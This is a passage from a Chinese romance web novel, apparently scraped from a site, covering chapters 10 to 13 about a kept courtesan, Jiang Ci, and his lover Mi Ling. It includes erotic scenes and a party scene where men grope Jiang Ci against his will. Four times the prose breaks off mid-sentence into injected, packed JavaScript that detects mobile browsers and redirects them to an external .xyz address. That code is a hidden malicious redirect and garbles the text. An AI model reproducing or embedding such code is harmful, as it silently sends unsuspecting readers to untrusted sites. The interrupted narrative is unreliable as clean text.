说着,屋里舞曲停了,两人又都望进去,姜瓷甩了脚上的鞋,走到沙发上侧身躺着,一条腿不规矩地荡在沙发边沿。他拿着一把玉柄金团扇孩子气地搓来搓去,那扇子滴溜溜来回转,底下的穗子甩来打去。他盯着那飘飞的穗子,像是觉得好玩,嘴角始终挂着笑,可是眼皮是血红的,或许是酒气熏的,可糜岭望着,总莫名觉得那是哭红的。 张志骁用胳膊肘撞他一下,他马上阖下眼帘,叹口气:“真是给我下了迷魂药了。” “这不是没能完全迷住你么,你至少还防着他呢!不过他真的和周盛业一起算计你的家业?我瞧着……不太像。” 糜岭又不自觉看向里面,几个男人围到了姜瓷身边,一个举着酒杯递到他嘴边,一个蹲在沙发前把手覆在了他腿上,另一人站在沙发后俯身搭上了他的肩。 他仍笑着,把那杯酒喝了,用扇子往另两人脸上拂过去,正过身子来,把白花花的身体露到他们跟前。 在男人堆里练出来的一身本事,有什么真不真呢?全都是手段罢了。糜岭收了收视线。 张志骁见他不说话,便道:“这种事都是当局者迷,不然我替你试探试探?他要是真喜欢你——” “又如何?” “你说服他呀,或许为了你,他能和周盛业反目,也就此让周盛业死了算计你的心,到时你还能抱得美人归,岂不是一举两得。” 糜岭仍不言语,忍不住再往屋子里瞧,见那几人围着姜瓷,已经要把他旗袍都扯开了,他却只是直挺挺僵在那儿,面上已经没了笑容,惘惘地盯着手里的扇子,沉静得仿佛死了般。 他不知怎的心里一咯噔,抬脚便往屋里走,边走边喊:“小宝!到我这儿来!” 张志骁在后面,追都追不上他,也不知道他拄着手杖怎么还能那样健步如飞。 屋里姜瓷听见糜岭这一声唤,立刻回过神,站起身要走,但被几人拽住了旗袍裙摆。他也顾不上那么多,就这么奔出去,那裙摆便被硬生生撕碎了,破布似的挂在他身上飘飘拂拂的,挡都挡不住他白肉肉的大腿。 男人们在厅里哄笑起来,他煞白着脸,浑身发抖,跑进走廊险些崴了脚,再走几步,看见糜岭也快步朝他来,便扑进了他怀里。 糜岭紧抱住他,脱了外套扎在他腰上,把那银狐披肩拢严了他上身,捧着他的脸便吻下来。他到底还是哭了,糜岭轻声哄了他几句,抱起他去了书房。 张志骁慢悠悠跟在后面也进去了。 三人坐在房里喝茶。 姜瓷不认识张志骁,也不知道他和糜岭的关系,更不明白他为什么跟过来,拘谨地蜷在沙发上,身上盖着毯子。他喝了许多酒,刚才被那样一吓,更是精神萎靡,耷拉着眼皮似乎要睡着。糜岭坐在一边翻书,把一只手伸在毯子下面,紧紧攥着姜瓷的腕。 张志骁低眉垂眼不敢多瞧,说:“糜兄要介绍给我认识的就是这一位么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831028|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 糜岭便附在姜瓷耳边说:“这是我的朋友张志骁。”又对张志骁说:“他叫姜瓷,瓷器的瓷。” 张志骁便客套一句:“久仰久仰!我方才在桌上听你说话的口音……你不是香港人?” 姜瓷终于抬头看他一眼,说:“我是上海人。” “哎哟,巧了!”张志骁用方言道:“吾也司上海宁!” 姜瓷猛一听到乡音,怔了半晌才回神,一下子挣开了糜岭的手,倾身向张志骁,颤声叫道:“张先生!吾老想回转起呀!侬同吾刚刚以载上海哪能啦?”* 他这样坐着,毯子也跟着挤到前面去堆在他胸前,后面露出一截子细腰和白软的腿来。糜岭把手碰一碰那儿,他便软了身子倒回糜岭身边,但仍然兴致昂然地望着张志骁。 张志骁看一眼耷拉着眉头的糜岭,往边上挪了挪,离远了他,说:“我这个人嘴巴笨,讲也讲不清楚……侬——侬哪天转起了,吾带侬白相!”* 一句话却逼得姜瓷一口气噎在胸口,气都喘不上。他连这金园都走不出,如何回上海? 糜岭立刻放下书来哄他。他揪着他衣服泪汪汪地说:“小舅舅,你叫他说,说给我听呀!” 张志骁一时满头大汗,手忙脚乱在身上摸索一番,拿出几粒梨膏糖来递到糜岭跟前,说:“我从上海带来的。” 姜瓷顿一顿哭声,捡了一粒来吃,不想哭得更厉害了,口齿不清地说:“小时候,我妈妈总买给我吃的,梨膏糖……” 糜岭拍着他背安抚,给张志骁使了个眼色,张志骁便说:“勿要哭了,侬欢喜吾再送点来。” 姜瓷立刻抹抹泪,急急地说:“好呀好呀,张先生侬千万勿要忘了!” 张志骁不放心他太太一个人在宾馆,这就要走,糜岭送他到了前院,叫自己的司机送他回去。两人站在车前,张志骁道:“我看他就是个想家的小孩子,单纯的很,也挺喜欢你,没有你说的那种心机。” 糜岭替他开了车门,含糊地说:“他一直是这样。” “你觉得他从一开始就是装的?可是糜兄你想,古往今来,有几个人自愿入风尘?周盛业那样强势,姜瓷要是不听他的,还怎么在这儿活?或许都是被逼无奈。” 糜岭不言语,张志骁便也没有多说,再和他握一握手,道别坐进了车里。 回到书房,姜瓷眼泪还没收,抓着一把糖果宝贝似的捧在心口,看见他,便说:“小舅舅有没有再提醒张先生,要他带糖给我。” 糜岭坐下来拥着他:“他要是忘了,舅舅给你买。” “上海糖,香港有卖吗?” “买不到,舅舅让人去上海买。” 姜瓷脉脉望着他,撒着娇柔声说:“好个呀,灵的呀。” 糜岭笑起来:“上海话被你说得这样好听,我倒不知道你生在上海。” “你又没有问过我。”他低眼去数手里的糖。 糜岭便说:“那我现在问,小宝是哪里人?” “上海呀。” 他又学着方才听来的上海话的腔调:“那么上海是哪能一个地方?” 姜瓷听了吃吃地笑,搂住了他脖子,但仍把那些糖抓在手里。 糜岭问他要一颗尝尝,他不肯给,盯着糜岭看了片刻,张了张嘴,刚刚吃进去的小小一点的糖块腻在他舌上,就要化尽了。 “这么小也给舅舅尝,小宝可比我小气。” “那你吃不吃吗?”他含糊说着,凑过来亲糜岭。 糜岭把他往怀里紧紧一搂,吻住他,尝到一片甜腻的梨子香,说:“不吃你那小气的糖,这儿有块更大更甜的糖,叫小宝糖!给不给舅舅吃?” 姜瓷咯咯笑得前仰后合,把手里的糖一抛,一挺身将糜岭压倒在沙发上。 10. 10 小宝糖 书房窗下的草地上生着几株牵牛花,被姜瓷打理得长势极旺,顺着墙壁、窗框一直攀爬到二楼去。今夜风大,却把这些牵牛吹伤了,花朵东倒西歪,蓄在细细花柱里的夜露在震荡之中泼泼洒洒,带出一股郁郁的甜香。 那些藤蔓也被吹得爬不住墙,柳条似的在风中摇晃、倾倒下来,啪啪地打在窗户上,声响惊扰了屋里的人。 糜岭停了停,把披肩还往姜瓷肩上拢,问:“冷不冷?” 姜瓷摇着头,哭哭啼啼地,指甲把皮沙发都划破了,勾着糜岭手臂腻腻地蹭着,嘴上却凶,恨恨地骂:“你、你就会欺负我!” 糜岭笑着看向他:“说好了给舅舅吃小宝糖,现在又不乐意了?” 姜瓷瞧见他唇边几抹水痕,在光下一照,更荧荧地亮,涨红了脸,瞥过眼去,软糯地说:“还、还没吃够么……” 糜岭只是笑,逗他说:“那舅舅就不吃了,到厅里还和他们喝酒去!” 姜瓷喘着气默默盯着他看了片刻,忽然抬脚往他臂上一踏,红着眼跳下沙发去,拽过毯子裹在身上,哽咽着叫道:“要戏弄我到什么时候……既然你不想,有的是人想,今天来了一个李书记,刚才他——啊!” 糜岭拽住那毯子一角狠狠扯了一下,他便趔趄着跌回了糜岭的怀里,抹着泪,还继续叨叨地念:“我找他去,我就找他,他一直对我笑,还——” “还怎样?”糜岭冷笑着,捋了捋他鬓边湿乱的头发,捧起他的脸吻他,低声问:“哪个李书记?” 他撇着嘴巴不说话,糜岭便在他肉绵绵的腰上掐了一掐,他这才细声说:“你管是哪个李书记,跟你有什么关系!” 这回他这一句话似乎惊着了外面的牵牛,那些藤葛哗啦啦一下被风吹得离远了窗,掉落下来,满草地根茎与花你压着我我压着你,胡乱交叠横陈着,茎上短短刺刺的绒毛挤得花冠上全是深深的伤痕。 姜瓷又哭起来,糜岭轻轻软软地吻着他唇瓣,说:“跟我在一起怎么要提别的人?” “就说……气死你。”他还是嘴硬。 糜岭笑道:“一会儿你喊疼跟我撒娇,我可不会饶你。” “啊!小舅舅!别——” 姜瓷哼哼唧唧,“好哥哥”“阿岭”地叫了一番,糜岭无动于衷,摆弄得他头昏眼花,视线里有星子噼里啪啦地蹦跳闪烁着,一时间耳边也嗡嗡朦胧起来。恍惚之时,猛然腹下一阵剧痛,他惊叫一声,立刻颤颤巍巍去推糜岭,有些惶恐地道:“等、不……你……” 糜岭又听他“不行不可以”这样地说,终于有点儿不高兴了,又想到那个李书记,心口顿时酸麻麻的。他低声问:“小宝说的李书记到底是哪一个?是桌上跟舅舅差不多年纪的那一个?” 姜瓷疼得冷汗直冒,混混沌沌的,胃里翻腾想吐,讲不出话,只把手紧紧按在肚子上。 糜岭这才有所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831029|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉,赶忙倒了杯茶递过来,喂他喝了,见他脸色和缓许多,便放轻了声音问:“小宝会怀孕吗?” 姜瓷被这一句话惊着了,打了个冷噤,并不言语。 糜岭就也沉默下来,握住他细白的手摩挲,眼睛一瞥他软软的肚腹,脑海里不禁想象了一下那画面,圆鼓鼓的肚子,腰也胖了些,其余地方也肥圆起来,像挤挤挨挨两丛牡丹,旺盛得垂坠坠的,直流花蜜。可是,如今他到这山上来和姜瓷厮混是一回事,有了孩子,就是另一种情形了,只怕牵扯得不清不楚,引来许多麻烦。 姜瓷似乎探听到他的心思一般,在这时低声说:“小舅舅这么聪明,稍微想一想就知道,如果我可以生,那么这山上早就该孩子成群了。” 他说完,甩开糜岭的手就要走。糜岭立刻抱住他,低头去看他的脸,果然见他眼睛血红,泪扑簌簌地落,便哄他道:“好了好了,小宝,别哭了,舅舅不该说这些,舅舅给你赔罪,你想要什么,现在跟我说,我明天买来给你,好不好?” “真的?” “真的,要什么都行。” “上回张先生给我的那个糖——” “已经叫人去买了。小宝再说个别的。” 姜瓷被哄得收了泪,倚到他肩上,软绵绵地说:“没想好,先欠着,”又把手伸出来,“拉勾。” 糜岭跟他拉个勾,又亲亲他,他半推半就地,又被抱着滚到沙发上去了。 11. 11 银月亮 花园里栽种的一大片菊花,只在秋风中热热闹闹地翻腾了几日就几乎凋尽了。 姜瓷睡了午觉起来,拿着工具到花园里,准备把仅剩的几株移栽进花盆,养到屋子里去。用小铲子挖土的时候,王妈找过来,说白医生来给他体检,这会儿车子已经停在前院了。 他便跟着王妈回屋,到了客厅,竟看见白医生领着英嬅一起进了门。 英嬅还牵着一个小女孩儿,不知发生了什么,两人都眼圈通红,但英嬅依然摆出了平日那副端庄温婉的笑颜,那孩子扎着到肩头的麻花小辫,看见姜瓷便糯声问了个好,之后安安静静始终垂着头。 姜瓷和白医生对视一眼,走上前拉着英嬅往客厅走。白医生跟在后面说道:“我刚才在山道上碰到英小姐和她的女儿,就带她们一起过来了,假如走过来不知要走到什么时候。” “姐姐没有坐车?”姜瓷问。 英嬅摇摇头,并不解释,等坐到沙发上,姜瓷把一杯热茶递到她手里,她才开口,说:“小瓷,我——”声音略有些颤,顿了一顿,再张口,却说不出话来了,笑得那样勉强。 姜瓷赶忙说:“白医生还要给我体检,你们先坐,桌上的点心水果随便吃,我一会儿再来。”他起身,临走前把一碟云糕往那小孩儿面前推了推,那孩子向他道声谢,却不拿起来吃,依然规矩地坐着。 他见英嬅似要忍不住眼泪了,便没有再多说什么,和白医生一起出了客厅。 等再回来,那女孩儿已经蜷在沙发上睡着了。英嬅像已经恢复过来了,正拿着钳子拨脚边火盆里的炭,见到他就站起身,轻声说:“小瓷,谢谢你。” 姜瓷摆摆手,指指屋外,英嬅便跟着他走到花园里。他搬了张小凳给英嬅坐,自己蹲在花圃前继续铲土,问:“姐姐,发生什么事了?” 英嬅犹犹豫豫地说:“我出来得急,身上没带钱,去找糜岭也没找到他,实在不知道还能去哪儿……” “没关系,我随时欢迎姐姐,没有警员拦姐姐上山,就说明周盛业也同意姐姐过来的。只是……带孩子来金园这样的地方,难免要传出风言风语的。”姜瓷把头垂得低低的,用力铲出一株艳红的菊花放到了盆里。 英嬅却笑了:“关于我的风言风语已经够多了,不差这一个,要是我在乎名声,一开始糜岭请我,我就不会来了。对了,你见过我女儿了,她叫吝吝,才过了十岁生辰没多久。” “她很乖,”姜瓷说,“你把她教得很好。” 英嬅摇摇头:“她平时养在她父亲身边,我不怎么见得到她。”顿一顿,继续道:“她父亲好赌又爱喝酒,每次醉了都对我大打出手,我不逃,只能是被他打死这一条路了。和她父亲在她三岁时离的婚,条件是吝吝要交给他养。我知道吝吝在他身边也不会好过,但想着先答应下来,等赚了点钱在手里,再想办法把吝吝要过来。 “但是当时离婚闹得全香港都知道,别说那时候,就是现在,离婚这种事也少之又少,从那时候起我的名声就坏了,更别说吝吝她爸爸还在外面到处编排我。我父母走得早,两个哥哥管家,他们觉得我待在娘家会坏了家里中药馆的名声,千方百计要我复合……” 说到这儿,她忽然伸手抓了把脚边的枯叶,哗啦啦地捏着,微抬高了声音说:“我、我好歹也是体面人家的女儿!上过大学读过书,医术也不差,凭什么就该配那样一个人?” 她喘了一喘:“我死活不答应。我哥哥们只好又替我说媒,可是我已经‘声明在外’,也没有人家愿意,后来只好去家里的药馆帮帮忙,做点杂事。” 她或许意识到自己稍有点儿失态,敛了敛神,苦苦地笑了一笑:“他们觉得我是累赘,我虽然在自己家,却比寄人篱下还不如,在药馆忙里忙外,一分钱都拿不到,更别说把吝吝接回来了。我哥哥们总说:‘供你吃住还不好么?’不过有时候出诊,人家也会给给点儿辛苦钱,我攒了一点儿给吝吝买了件新衣服,今天要去送给她,一进家门,看见她爸爸醉醺醺拿着竹竿追着她打,我马上就带吝吝跑出来了。” 她说着眼里又盈满了泪,姜瓷把手轻轻在她手臂上搭一下,说:“我这里有很多空房间,姐姐想住多久都行,不过有时候有……有陌生人过来,被吝吝看见了不好。”他思忖片刻:“可以让小舅舅给你们找个地方先住着,可是姐姐说找不到小舅舅?” “嗯,我跑了好几家珠宝店和他的公馆,都没看见他人,他家的伙计也说不知道他在哪。” “等会儿姐姐再打个电话试试。上次他来陪我过完生辰后也没消息了,”姜瓷低头又挖土,闷闷地说,“他还说给我买糖,结果到现在都没送来。” “或许又到哪儿谈生意去了。” “可能吧,”姜瓷把铲子用力往土里一掷,“反正他就是想到我了才会来一下,一直谎话连篇,说过两天再来,哼,结果总要过两个月才来的。” 英嬅说:“我觉得他是真的很喜欢你的。” 姜瓷不应声,又挑一株□□往盆里栽:“小时候,妈妈说我是男孩子,只是跟别的男孩子有点不一样,我当了好多年的男孩子,后来……后来我长大了,声音又细又高,没有胡子,个子也矮,一到夏天,不管穿什么衣服都遮不住胸了……妈妈就说,从今天起你就是个女孩子了,也还是那句话,你只是跟别的女孩子有点不一样。” 他看向英嬅,很认真地道:“可其实我哪一边都不是,我和哪一边都不一样。他喜欢的人是女人对不对?那么即便我有一张和那个人相似的脸,他也永远不可能喜欢我的,没有人会喜欢我……姐姐不用说好听话来安慰我,我已经想明白了。” “小瓷,感情这种事谁控制得住呢,也没有什么道理可讲,即使——” “姐姐,”姜瓷打断她,自顾自地问,“趁他现在还对我有兴趣,我想问他要一样东西,你比我更了解他,你觉得如果我向他提,他会答应给我吗?” “是什么样的东西?” “很贵重,可能连他都买不到的一样东西。”姜瓷抱着花盆站起身,仰头望了望,稀薄的秋日阳光,濛濛的青白色的天,花园围墙外,有几只鸟儿迎着寒风在飞。 英嬅也抱起另一只花盆,同他一起往屋里走:“他看起来好说话,其实是个固执的人,认准了一件事就很难变了,你不要和他说那样东西很难买,说了兴许他就直接拒绝你了,你多求求他撒撒娇就是了,换做别人可能他不会答应,但你毕竟——” “毕竟有一张他喜欢的脸,”姜瓷轻声说着,垂了垂头,再看向英嬅时已冁然笑开了,俏皮地眨了眨眼,“姐姐真是我的好军师,我让王妈给你们做好吃的,吝吝喜欢吃什么?” “别麻烦了。” “不麻烦,应该的。对了姐姐,你近来有没有见过陈青柏?” “我听糜岭说他突然转了性子,提出要到英国去读书,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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终于糜岭走出桂树林子瞧见了他,他穿着银白的睡袍,仰头望天,秋千晃得那样高,他挺着上身,似乎要借着这架秋千顺势飞到天上飞到围墙外去,可他身上那睡袍阔大的袖口和裙摆前后扑打着,牵牵绊绊地束住了他的手脚。在秋夜雾蒙蒙的山里,他整个人黏糊糊融化成了地上一弯细小的月亮。 走近了看,其实是个圆润的月亮,养了一阵子又胖回来,露在外面的脚踝都肥软得孩子的一般,藕一样饱满的一节,一条腿翘在另一条上,把一只白茸毛缀着金丝线的拖鞋勾在脚尖,上下地荡,睡袍没系腰带,松松盖在身上,露出一点儿肉弹弹的身体的轮廓,交叠的白漾漾水一样晃动的大腿,裙摆掀动着拂到糜岭手背上来,细软的甜蜜的痒,像他动情时腻在耳边小小的喘息声。 “小宝。”糜岭又叫他。 他瞥一眼过来,眼里已经盛满了潋潋水光,似要哭,问说:“你来干什么的?” 糜岭把外套脱下来罩在他身上:“当然是来看你,好了,回去吧,这么冷还穿这么少,又要生病。” 姜瓷把外套拽下来往边上一扔,说:“什么来看我,我看是来接英嬅姐姐的,她一给你打电话,你就巴巴地过来了,你管我生不生病呢,反正你也不在乎,你在山下逍遥快活,我呢,我可是……一直都在想你,你还说一定给我买糖,这么些天了,糖在哪?你现在就带着姐姐下山去吧!” 糜岭知道他在耍性子,捡起外套,从口袋里拿出两包梨膏糖来,说:“我真是冤枉,什么接英嬅,什么英嬅给我打电话?我才忙完了生意上的事,家都没回,坐了车就来找你了。” 姜瓷半信半疑望他一眼,撇撇嘴,拿了一粒糖来吃。 糜岭俯身去亲他,先把那糖抢了,引着姜瓷来追,姜瓷不满地叫着,从秋千上下来倚进了他怀里,搂着他脖子同他争糖果,一开始还铆着一股劲儿,不觉得是和他在接吻,慢慢终于回过味来,想逃也逃不走了,被他凉凉的手一摸胸口,腰就软塌塌坠到他臂弯里了。 12. 12 荡秋千 “我的糖,还我……” 姜瓷追着糜岭嘴里那块糖,又看向掉在草坪上的那两包,想蹲下去捡。 糜岭不肯放开他,低头埋到他胸前,说:“屋子里还有好几箱,到明年后年都吃不完。” 姜瓷很乖顺地搂着他,给他亲了一阵儿,衣服半褪,冷得直发抖,鼻头通红,嘴唇都泛紫了。糜岭这才回过神来,忙把睡袍掩紧了他,又给他披上了大衣,哑声说:“先回去吧宝宝。” “别,”姜瓷拽着他的手,“别回去……英嬅姐姐,还有吝吝也在,她们就睡在我房间隔壁,会、会听见……” “吝吝也在?” “嗯。”姜瓷便把事情来龙去脉讲了一遍。糜岭说:“明天一早送她们到宾馆先住着,今天吝吝在,就算了,好吗小宝?” 姜瓷耷拉着眼不说话,把他的领带卷在手里把玩。 糜岭又哄他说:“等她们走了还不是小宝想怎么样就怎么样?假如你再在这儿吹风,接下来又要在床上躺十天半个月,病了,哪还有精神做别的事情?” “可是明天你也下山了,下次再见你,又不知道是什么时候了。” 糜岭捧着他脸亲了亲:“我很快就来看你。” 他听了恼火起来:“我不要你很快来看我,我就要你现在看我!”说着,抓住大衣和睡袍的衣襟猛地一掀,白花花的身体一束光似的照出来,直比月光还要清柔。 糜岭沉沉望着他,抚上他的腰:“小宝……” 姜瓷倚在他怀里说:“阿岭,别回去嘛,你抱着我,我就不会感冒,我……我也可以抱着你,整个晚上都……” 他眼睛一眺,望见远处草丛里一星白色,是朵菊花,怎么这儿还有一支没被冷风吹凋,反而开得那样盛而旺?竟还有只蝴蝶在旁翻飞,试探地去探花香,惊扰得花萼颤颤不休。忽而一阵劲风,那菊花一垂,花瓣一收,竟把那蝴蝶包裹进去。蝴蝶慌乱地在里头冲撞,震得花蕊上的花粉簌簌掉,整株菊花都跟着晃动起来。 姜瓷觉得稀奇,要指给糜岭看,但糜岭已被他勾得神志都飘忽了,眼睛热得灼痛,视线一片红,看着满园子幢幢的树影,也仿佛它们都是火红色,想去亲他,他却调皮地跳开几步,伸了手来轻轻拈着领带,扯了扯,腻腻地说:“过来呀,你先过来。” 他就任由那领带绳子似的牵着自己,踉跄追着姜瓷走到了秋千边。姜瓷坐上去,糜岭就站在他身前,揽着他,他温软的脸贴在糜岭肚腹上,柔波似的一漾一漾,而糜岭暖热的身体围着他,篝火一般,不免叫他恍惚了,然而眼睛一眨,却又觑见那朵菊,见着蝴蝶已把半边翅膀从花朵缝隙里挤出来些许,然而马上又被压没进去,几番来回,怎么都挣扎不脱,反把白嫩嫩的花瓣挣得全是红艳艳的伤痕。 回屋的时候,他枕在糜岭肩上打哈欠,说起今天白医生过来体检的事,又道:“白医生说圣诞夜的时候他要去参加舞会。” “醉生楼饭店的舞会?” “小舅舅也知道?” “嗯,每年都有。” “那么,今年你也去对不对?”姜瓷拿手指戳他心口,嗫嚅着有点儿讨好地贴着他身体,“你选谁做舞伴呢?我听英嬅姐姐说,你有几次是带她去的。” 糜岭看他一眼,没说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831031|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他忐忑地眨着眼睛,拨弄着睡袍腰带,静了好一阵儿,已经走出园子能看见屋里的灯光了,便开口说:“能、能不能带我去呀?我很会跳舞……” 糜岭立刻皱起眉,手臂一松放了他下来:“今天晚上闹这么一出就是为了让我带你去舞会?” 姜瓷低眉垂眼,生怕他跑了似的紧紧抱着他手臂。 糜岭闭了闭眼睛,再把视线落到他纯真的一张脸上。早该想到的,或许陈青柏就是被相同的手段蛊惑……谁敌得住呢,方才在秋千那儿,实在被他迷得晕头转向,别说带他下山去舞会,就是他说要月亮,他也马上搭架梯子爬上去,掐了那一抹月亮,做成银钗缀在他头发上……这一次的目的又是什么?是要在舞会上探听什么消息?难不成周盛业要在那场舞会上对他动手? 他沉默良久,说:“还有一点点路,小宝自己走吧,舅舅抱不动你了。” 他随即就迈步出去,姜瓷追在后面,抓着他一点点衣角,很是无措,慌慌张张地说道:“你生气了吗?我、我只是想去山下看一看,我在这里五年,只下去过一次,我就是……就是……”他哽咽起来,“就这一次,一次就好,往后我不会再问你要什么了。” 糜岭仍走得快,根本不理他。姜瓷渐渐跟不上他了,气喘吁吁停在原地,叫了几声“阿岭”,糜岭也没回头,眼看他就要进屋了,便冲着他高声喊道:“你和我拉过勾的!我生日那天你答应过我的!” 糜岭终于顿住脚步,转身看过来。他快步走过去,往糜岭怀里一扑,糜岭只是冷淡地望着他,半晌,说:“只有这样还不够,你真的想去玩,就得更努力一些。” 13. 13 男儿多薄幸 过了小半个月,英嬅再上山来,给姜瓷诊脉。 晌午刚过,餐桌上摆着吃食,一碗小米粥,几碟小菜和一盘金灿灿香气扑鼻的锅巴。王妈见她一直盯着锅巴瞧,就解释说:“英大夫您可别误会,往日都是山珍海味往桌上送,可是最近——” “我知道,”英嬅笑着拿了块锅巴尝了一口,“小瓷还睡着吗?” “早就起了,说没有胃口不想吃东西,刚刚到花园晒太阳去了。请您坐着等等,我给您泡茶去。” “不忙,我去找他好了。” 进了花园,在桂树林旁的园林里,英嬅看见姜瓷蹲在廊桥上,银白狐毛大氅裹着他,他似乎还是觉得冷,瑟瑟抖着,寒天里迷路的一只雪兔子般。等走近了,才发现他不是冷,是哭得肩膀一耸一耸。 “小瓷。”她轻轻喊一声,也在他身旁蹲下了。 姜瓷只顾低头揩眼泪,也不应声。半晌,他伸出手来,把握在掌心的一把细碎的锅巴往池塘里一抛,引了数条锦鲤鱼出来啄食。 英嬅便问:“干嘛扔了?刚才我尝了一块,很好吃。” “那是王妈做的,这个是我做的,烤得太焦了,”他又抹眼泪,哽咽着说,“也就鱼会吃……都端不上桌,小舅舅怎么会喜欢。” “心意到了就好了。” “不好……” 英嬅见他哭得伤心,就说:“上回走得急,只来得及跟你说他喜欢吃这个,没来得及说他为什么喜欢。” 姜瓷听了马上拿大氅的袖子胡乱蹭了蹭眼睛,抓着她手臂摇了摇:“姐姐我要听,我要听!” “好好,我从头说。你知道他妈妈走得早,他是被奶妈带大的,所以和奶妈感情很深。后来他十岁……还是十三岁的时候,那奶妈自己的孩子生了重病,拿不出钱治,眼看要不行了,他就从他父亲那儿偷了钱送到奶妈家去了。” “后来呢?” “后来当然被陈老爷子发现了,罚他三天不许吃饭,奶妈也被辞了,她毕竟把糜岭当亲孩子养,不忍心看他挨饿,临走的时候悄悄塞了几块锅巴给他。就是这样了。后来他就是要吃锅巴,什么糖啊糕点这些零嘴点心的都不稀罕,那时候我们几个孩子不知道内情,见他吃锅巴还笑他呢,有一次都把他气哭了。” 英嬅说到这儿笑起来,姜瓷也跟着笑,笑过了,眼眶又一阵阵泛热,说:“他一定很想那个奶妈。” “再怎么想也吃不到当时的味道了,所以这么多年来一直就是睹物思人,好吃不好吃其实都不要紧。” 姜瓷点点头,握一握她的手:“谢谢你。” “我还要谢你,上一次帮了我大忙了。” “那么吝吝好吗?小舅舅找的哪家宾馆给你们住?” 英嬅有些支吾地说:“挺大挺好的一家宾馆。吝吝她……前几天她父亲接她回去了,我也是……实在没有办法。要不是我还能在药馆诊诊脉,我两个哥哥怕是早就把我扫地出门了。等以后……有机会的话,带她走。” “走到哪去?” “随便哪儿,母女两个在一起,到哪不是家。” 姜瓷愣了愣,轻声说:“我妈妈也讲过一样的话。” “那她——” “她死了,不然她怎么可能让我被周盛业关着过这样的日子。” “小瓷……” 姜瓷不愿多说,站起身道:“我们回去吧。” 送走了英嬅,没想到晚上糜岭也来了。 他刚下了应酬的酒桌,有些醉了,被司机搀进屋里,实在爬不动楼梯,就在客厅坐下了,喊了几声“小宝”,没听见应。恰好佣人送茶过来,他问起姜瓷在哪,那佣人偷笑着说:“在厨房里做饭呢!” “什么?”他酒醒了大半,马上就站起来往厨房去,“真是想一出是一出,他会做什么饭?真要有想吃的王妈不给他做?弄不好切伤了手,热油烫个泡,有他苦头吃!非要病到床上了才能消停几天么!” 说着已经进了厨房。这儿比厅堂还大,一半全是新式的厨房用具,煤气灶上正烧着一壶水,另一半是旧式的砖头砌成的灶台,锅里煮着什么,一阵阵冒热气。王妈就站在水池边洗碗。乍一瞧,根本没瞧见姜瓷,往里走了走,四下打量,竟发现他坐在灶台后面那黑黢黢的角落里,蜷在一堆木柴和枯树枝中间,正歪着脑袋往灶膛里添柴。 糜岭眉头紧皱,沉声叫道:“姜瓷!” 姜瓷吓了一跳,一下子从那张坐着的小矮凳上跌下来,摔在木柴堆里,抬眼看到他,马上涨红了脸,手忙脚乱爬起来,扭捏地攥着身上衣服。 他头发乱蓬蓬翘着,脸上东一条西一道的黑灰印子,身上白衣服蹭得尽是脏污,裤脚似乎都被树枝划破了,竟还没穿鞋,赤脚踩在一地从灶膛扒出来的草木灰里,一只脚轻轻点在另一只脚背上,乌黑的十个脚趾蜷起来又松开,窸窣地抖下些灰尘来。 “阿、阿岭,我……我额……”他结结巴巴地讲不出话。 “你过来。” 他便慢慢踱到糜岭跟前,糜岭再把他从头到尾细细打量一番,见他一直捂着手,就抓过来看,一眼便见手指上全是被烫出来的小水泡,一时恼火异常,拿袖子一边擦他脸上的灰一边说:“你去客厅等我,我跟王妈说几句话。” “不要,”他软绵绵往糜岭怀里倚,“我——” “快去。” 糜岭不同他纠缠,轻轻推了他一把,他只好出了厨房。先去楼上换了身衣服,回到客厅,糜岭还没回来,沙发靠背上搭着他的毛呢大衣。 他躺着等了一会儿,实在无聊,用脚勾了大衣到怀里,去摸口袋里的东西,左边放着些零钱,一只手表,右边一张半潮的手帕,闻起来有股酒香,大概用来擦打翻的酒了。 没找到什么特别的东西,还舍不得把衣服放回去,就展开来盖在身上,这时忽然有什么从里袋里掉了出来,他低头去捡,是一个信封,已经拆开了。他从开口处往里觑一眼,瞧见信纸上几行字,也看不明白是什么,就把信封收好又放回了里袋。 糜岭回来的时候看他盖着大衣闭着眼,似乎睡着了,就放轻了脚步。坐到他身旁,拿了他的手搭在自己膝头,细细地去看那几个水泡。 王妈把治烫伤的药膏拿了来。 